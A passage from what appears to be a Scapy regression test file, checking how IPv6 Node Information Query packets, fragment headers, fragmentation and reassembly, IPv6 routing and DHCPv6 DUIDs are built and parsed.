str(ICMPv6NIReplyNOOP(flags="C", nonce="A"*8))[6:8] l = str(ICMPv6NIReplyNOOP(flags="L", nonce="A"*8))[6:8] s = str(ICMPv6NIReplyNOOP(flags="S", nonce="A"*8))[6:8] g = str(ICMPv6NIReplyNOOP(flags="G", nonce="A"*8))[6:8] allflags = str(ICMPv6NIReplyNOOP(flags="TALCLSG", nonce="A"*8))[6:8] t == '\x00\x01' and a == '\x00\x02' and c == '\x00\x04' and l == '\x00\x08' and s == '\x00\x10' and g == '\x00\x20' and allflags == '\x00\x3F' = ICMPv6NIQuery* - Flags Default values a = ICMPv6NIQueryNOOP() b = ICMPv6NIQueryName() c = ICMPv6NIQueryIPv4() d = ICMPv6NIQueryIPv6() a.flags == 0 and b.flags == 0 and c.flags == 0 and d.flags == 62 = ICMPv6NIReply* - Flags Default values a = ICMPv6NIReplyIPv6() b = ICMPv6NIReplyName() c = ICMPv6NIReplyIPv6() d = ICMPv6NIReplyIPv4() e = ICMPv6NIReplyRefuse() f = ICMPv6NIReplyUnknown() a.flags == 0 and b.flags == 0 and c.flags == 0 and d.flags == 0 and e.flags == 0 and f.flags == 0 # Nonces # hashret and answers # payload guess # automatic destination address computation when integrated in scapy6 # at least computeNIGroupAddr ##################################################################### + Test Node Information Query - Dispatching = ICMPv6NIQueryIPv6 - dispatch with nothing in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6()) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryIPv6 - dispatch with IPv6 address in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="2001::db8::1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryIPv6 - dispatch with IPv4 address in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="192.168.0.1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryIPv6 - dispatch with name in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv6(data="alfred")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv6) = ICMPv6NIQueryName - dispatch with nothing in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName()) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryName - dispatch with IPv6 address in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="2001:db8::1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryName - dispatch with IPv4 address in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="192.168.0.1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryName - dispatch with name in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryName(data="alfred")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryName) = ICMPv6NIQueryIPv4 - dispatch with nothing in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4()) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIQueryIPv4 - dispatch with IPv6 address in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="2001:db8::1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIQueryIPv4 - dispatch with IPv6 address in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="192.168.0.1")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIQueryIPv4 - dispatch with name in data s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIQueryIPv4(data="alfred")) p = IPv6(s) isinstance(p.payload, ICMPv6NIQueryIPv4) = ICMPv6NIReplyName - dispatch s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyName()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyName) = ICMPv6NIReplyIPv6 - dispatch s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyIPv6()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyIPv6) = ICMPv6NIReplyIPv4 - dispatch s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyIPv4()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyIPv4) = ICMPv6NIReplyRefuse - dispatch s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyRefuse()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyRefuse) = ICMPv6NIReplyUnknown - dispatch s = str(IPv6(src="2001:db8::1", dst="2001:db8::2")/ICMPv6NIReplyUnknown()) p = IPv6(s) isinstance(p.payload, ICMPv6NIReplyUnknown) ##################################################################### + Test Node Information Query - ICMPv6NIReplyNOOP = ICMPv6NIReplyNOOP - single DNS name without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and type(a[1]) is str and a[1] == "abricot" = ICMPv6NIReplyNOOP - single DNS name without hint => understood as string ICMPv6NIReplyNOOP(data="abricot").data == "abricot" = ICMPv6NIReplyNOOP - fqdn without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data="n.d.tld").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and type(a[1]) is str and a[1] == "n.d.tld" = ICMPv6NIReplyNOOP - fqdn without hint => understood as string ICMPv6NIReplyNOOP(data="n.d.tld").data == "n.d.tld" = ICMPv6NIReplyNOOP - IPv6 address without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data="2001:0db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and type(a[1]) is str and a[1] == "2001:0db8::1" = ICMPv6NIReplyNOOP - IPv6 address without hint => understood as string ICMPv6NIReplyNOOP(data="2001:0db8::1").data == "2001:0db8::1" = ICMPv6NIReplyNOOP - IPv4 address without hint => understood as string (internal) a=ICMPv6NIReplyNOOP(data="169.254.253.010").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and type(a[1]) is str and a[1] == "169.254.253.010" = ICMPv6NIReplyNOOP - IPv4 address without hint => understood as string ICMPv6NIReplyNOOP(data="169.254.253.010").data == "169.254.253.010" ##################################################################### + Test Node Information Query - ICMPv6NIReplyName = ICMPv6NIReplyName - single label DNS name as a string (without ttl) (internal) a=ICMPv6NIReplyName(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == '\x07abricot\x00\x00' = ICMPv6NIReplyName - single label DNS name as a string (without ttl) ICMPv6NIReplyName(data="abricot").data == [0, "abricot"] = ICMPv6NIReplyName - fqdn name as a string (without ttl) (internal) a=ICMPv6NIReplyName(data="n.d.tld").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == '\x01n\x01d\x03tld\x00' = ICMPv6NIReplyName - fqdn name as a string (without ttl) ICMPv6NIReplyName(data="n.d.tld").data == [0, 'n.d.tld'] = ICMPv6NIReplyName - list of 2 single label DNS names (without ttl) (internal) a=ICMPv6NIReplyName(data=["abricot", "poire"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == '\x07abricot\x00\x00\x05poire\x00\x00' = ICMPv6NIReplyName - list of 2 single label DNS names (without ttl) ICMPv6NIReplyName(data=["abricot", "poire"]).data == [0, "abricot", "poire"] = ICMPv6NIReplyName - [ttl, single-label, single-label, fqdn] (internal) a=ICMPv6NIReplyName(data=[42, "abricot", "poire", "n.d.tld"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 42 and a[1][1] == '\x07abricot\x00\x00\x05poire\x00\x00\x01n\x01d\x03tld\x00' = ICMPv6NIReplyName - [ttl, single-label, single-label, fqdn] ICMPv6NIReplyName(data=[42, "abricot", "poire", "n.d.tld"]).data == [42, "abricot", "poire", "n.d.tld"] ##################################################################### + Test Node Information Query - ICMPv6NIReplyIPv6 = ICMPv6NIReplyIPv6 - one IPv6 address without TTL (internal) a=ICMPv6NIReplyIPv6(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" = ICMPv6NIReplyIPv6 - one IPv6 address without TTL ICMPv6NIReplyIPv6(data="2001:db8::1").data == [(0, '2001:db8::1')] = ICMPv6NIReplyIPv6 - one IPv6 address without TTL (as a list) (internal) a=ICMPv6NIReplyIPv6(data=["2001:db8::1"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" = ICMPv6NIReplyIPv6 - one IPv6 address without TTL (as a list) ICMPv6NIReplyIPv6(data=["2001:db8::1"]).data == [(0, '2001:db8::1')] = ICMPv6NIReplyIPv6 - one IPv6 address with TTL (internal) a=ICMPv6NIReplyIPv6(data=[(0, "2001:db8::1")]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" = ICMPv6NIReplyIPv6 - one IPv6 address with TTL ICMPv6NIReplyIPv6(data=[(0, "2001:db8::1")]).data == [(0, '2001:db8::1')] = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list of strings (without TTL) (internal) a=ICMPv6NIReplyIPv6(data=["2001:db8::1", "2001:db8::2"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "2001:db8::2" = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list of strings (without TTL) ICMPv6NIReplyIPv6(data=["2001:db8::1", "2001:db8::2"]).data == [(0, '2001:db8::1'), (0, '2001:db8::2')] = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list (first with ttl, second without) (internal) a=ICMPv6NIReplyIPv6(data=[(42, "2001:db8::1"), "2001:db8::2"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 42 and a[1][0][1] == "2001:db8::1" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "2001:db8::2" = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list (first with ttl, second without) ICMPv6NIReplyIPv6(data=[(42, "2001:db8::1"), "2001:db8::2"]).data == [(42, "2001:db8::1"), (0, "2001:db8::2")] ##################################################################### + Test Node Information Query - ICMPv6NIReplyIPv4 = ICMPv6NIReplyIPv4 - one IPv4 address without TTL (internal) a=ICMPv6NIReplyIPv4(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" = ICMPv6NIReplyIPv4 - one IPv4 address without TTL ICMPv6NIReplyIPv4(data="169.254.253.252").data == [(0, '169.254.253.252')] = ICMPv6NIReplyIPv4 - one IPv4 address without TTL (as a list) (internal) a=ICMPv6NIReplyIPv4(data=["169.254.253.252"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" = ICMPv6NIReplyIPv4 - one IPv4 address without TTL (as a list) ICMPv6NIReplyIPv4(data=["169.254.253.252"]).data == [(0, '169.254.253.252')] = ICMPv6NIReplyIPv4 - one IPv4 address with TTL (internal) a=ICMPv6NIReplyIPv4(data=[(0, "169.254.253.252")]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" = ICMPv6NIReplyIPv4 - one IPv4 address with TTL (internal) ICMPv6NIReplyIPv4(data=[(0, "169.254.253.252")]).data == [(0, '169.254.253.252')] = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list of strings (without TTL) a=ICMPv6NIReplyIPv4(data=["169.254.253.252", "169.254.253.253"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "169.254.253.253" = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list of strings (without TTL) (internal) ICMPv6NIReplyIPv4(data=["169.254.253.252", "169.254.253.253"]).data == [(0, '169.254.253.252'), (0, '169.254.253.253')] = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list (first with ttl, second without) a=ICMPv6NIReplyIPv4(data=[(42, "169.254.253.252"), "169.254.253.253"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 42 and a[1][0][1] == "169.254.253.252" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "169.254.253.253" = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list (first with ttl, second without) (internal) ICMPv6NIReplyIPv4(data=[(42, "169.254.253.252"), "169.254.253.253"]).data == [(42, "169.254.253.252"), (0, "169.254.253.253")] ##################################################################### + Test Node Information Query - ICMPv6NIReplyRefuse = ICMPv6NIReplyRefuse - basic instantiation str(ICMPv6NIReplyRefuse())[:8] == '\x8c\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NIReplyRefuse - basic dissection a=ICMPv6NIReplyRefuse('\x8c\x01\x00\x00\x00\x00\x00\x00\xf1\xe9\xab\xc9\x8c\x0by\x18') a.type == 140 and a.code == 1 and a.cksum == 0 and a.unused == 0 and a.flags == 0 and a.nonce == '\xf1\xe9\xab\xc9\x8c\x0by\x18' and a.data == None ##################################################################### + Test Node Information Query - ICMPv6NIReplyUnknown = ICMPv6NIReplyUnknown - basic instantiation str(ICMPv6NIReplyUnknown(nonce='\x00'*8)) == '\x8c\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NIReplyRefuse - basic dissection a=ICMPv6NIReplyRefuse('\x8c\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 140 and a.code == 2 and a.cksum == 0 and a.unused == 0 and a.flags == 0 and a.nonce == '\x00'*8 and a.data == None ########### IPv6ExtHdrFragment Class ########################## + IPv6ExtHdrFragment Class Test = IPv6ExtHdrFragment - Basic Instantiation str(IPv6ExtHdrFragment()) == ';\x00\x00\x00\x00\x00\x00\x00' = IPv6ExtHdrFragment - Instantiation with specific values str(IPv6ExtHdrFragment(nh=0xff, res1=0xee, offset=0x1fff, res2=1, m=1, id=0x11111111)) == '\xff\xee\xff\xfb\x11\x11\x11\x11' = IPv6ExtHdrFragment - Basic Dissection a=IPv6ExtHdrFragment(';\x00\x00\x00\x00\x00\x00\x00') a.nh == 59 and a.res1 == 0 and a.offset == 0 and a.res2 == 0 and a.m == 0 and a.id == 0 = IPv6ExtHdrFragment - Instantiation with specific values a=IPv6ExtHdrFragment('\xff\xee\xff\xfb\x11\x11\x11\x11') a.nh == 0xff and a.res1 == 0xee and a.offset==0x1fff and a.res2==1 and a.m == 1 and a.id == 0x11111111 ########### fragment6() function #################################### + Test fragment6 function = fragment6 - test against a long TCP packet with a 1280 MTU l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) len(l) == 33 and len(str(l[-1])) == 644 ########### defragment6() function #################################### + Test defragment6 function = defragment6 - test against a long TCP packet fragmented with a 1280 MTU l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) str(defragment6(l)) == ('`\x00\x00\x00\x9cT\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xe92\x00\x00' + 'A'*40000) = defragment6 - test against a large TCP packet fragmented with a 1280 bytes MTU and missing fragments l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) del(l[2]) del(l[4]) del(l[12]) del(l[18]) str(defragment6(l)) == ('`\x00\x00\x00\x9cT\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xe92\x00\x00' + 2444*'A' + 1232*'X' + 2464*'A' + 1232*'X' + 9856*'A' + 1232*'X' + 7392*'A' + 1232*'X' + 12916*'A') = defragment6 - test against a TCP packet fragmented with a 800 bytes MTU and missing fragments l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*4000), 800) del(l[4]) del(l[2]) str(defragment6(l)) == '`\x00\x00\x00\x0f\xb4\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb2\x0f\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ########### Route6 Class ############################################ + Test Route6 class = Route6 - Route6 flushing conf.route6.routes=[ ( '::1', 128, '::', 'lo', ['::1']), ( 'fe80::20f:1fff:feca:4650', 128, '::', 'lo', ['::1'])] conf.route6.flush() not conf.route6.routes = Route6 - Route6.route conf.route6.flush() conf.route6.routes=[ ( '::1', 128, '::', 'lo', ['::1']), ( 'fe80::20f:1fff:feca:4650', 128, '::', 'lo', ['::1']), ( 'fe80::', 64, '::', 'eth0', ['fe80::20f:1fff:feca:4650']), ('2001:db8:0:4444:20f:1fff:feca:4650', 128, '::', 'lo', ['::1']), ( '2001:db8:0:4444::', 64, '::', 'eth0', ['2001:db8:0:4444:20f:1fff:feca:4650']), ( '::', 0, 'fe80::20f:34ff:fe8a:8aa1', 'eth0', ['2001:db8:0:4444:20f:1fff:feca:4650', '2002:db8:0:4444:20f:1fff:feca:4650']) ] conf.route6.route("2002::1") == ('eth0', '2002:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') and conf.route6.route("2001::1") == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') and conf.route6.route("fe80::20f:1fff:feab:4870") == ('eth0', 'fe80::20f:1fff:feca:4650', '::') and conf.route6.route("::1") == ('lo', '::1', '::') and conf.route6.route("::") == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') # There are many other to do. # Below is our Homework : here is the mountain ... ########### Net6 Class ############################################## ########### ICMPv6MLQuery Class ##################################### ########### ICMPv6MLReport Class #################################### ########### ICMPv6MLDone Class ###################################### ########### ICMPv6ND_Redirect Class ################################# ########### ICMPv6NDOptSrcAddrList Class ############################ ########### ICMPv6NDOptTgtAddrList Class ############################ ########### ICMPv6ND_INDSol Class ################################### ########### ICMPv6ND_INDAdv Class ################################### ########### ICMPerror6 Class ######################################## ########### TracerouteResult6 Class ################################# ##################################################################### ##################################################################### ########################## DHCPv6 ########################## ##################################################################### ##################################################################### ##################################################################### + Test DHCP6 DUID_LLT = DUID_LLT basic instantiation a=DUID_LLT() = DUID_LLT basic build str(DUID_LLT()) == '\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DUID_LLT build with specific values str(DUID_LLT(lladdr="ff:ff:ff:ff:ff:ff", timeval=0x11111111, hwtype=0x2222)) == '\x00\x01""\x11\x11\x11\x11\xff\xff\xff\xff\xff\xff' = DUID_LLT basic dissection a=DUID_LLT(str(DUID_LLT())) a.type == 1 and a.hwtype == 1 and a.timeval == 0 and a.lladdr == "00:00:00:00:00:00" = DUID_LLT dissection with specific values a=DUID_LLT('\x00\x01""\x11\x11\x11\x11\xff\xff\xff\xff\xff\xff') a.type == 1 and a.hwtype == 0x2222 and a.timeval == 0x11111111 and a.lladdr == "ff:ff:ff:ff:ff:ff" ##################################################################### + Test DHCP6 DUID_EN = DUID_EN basic instantiation a=DUID_EN() = DUID_EN basic build str(DUID_EN()) == '\x00\x02\x00\x00\x017' = DUID_EN build with specific values str(DUID_EN(enterprisenum=0x11111111, id="iamastring")) == 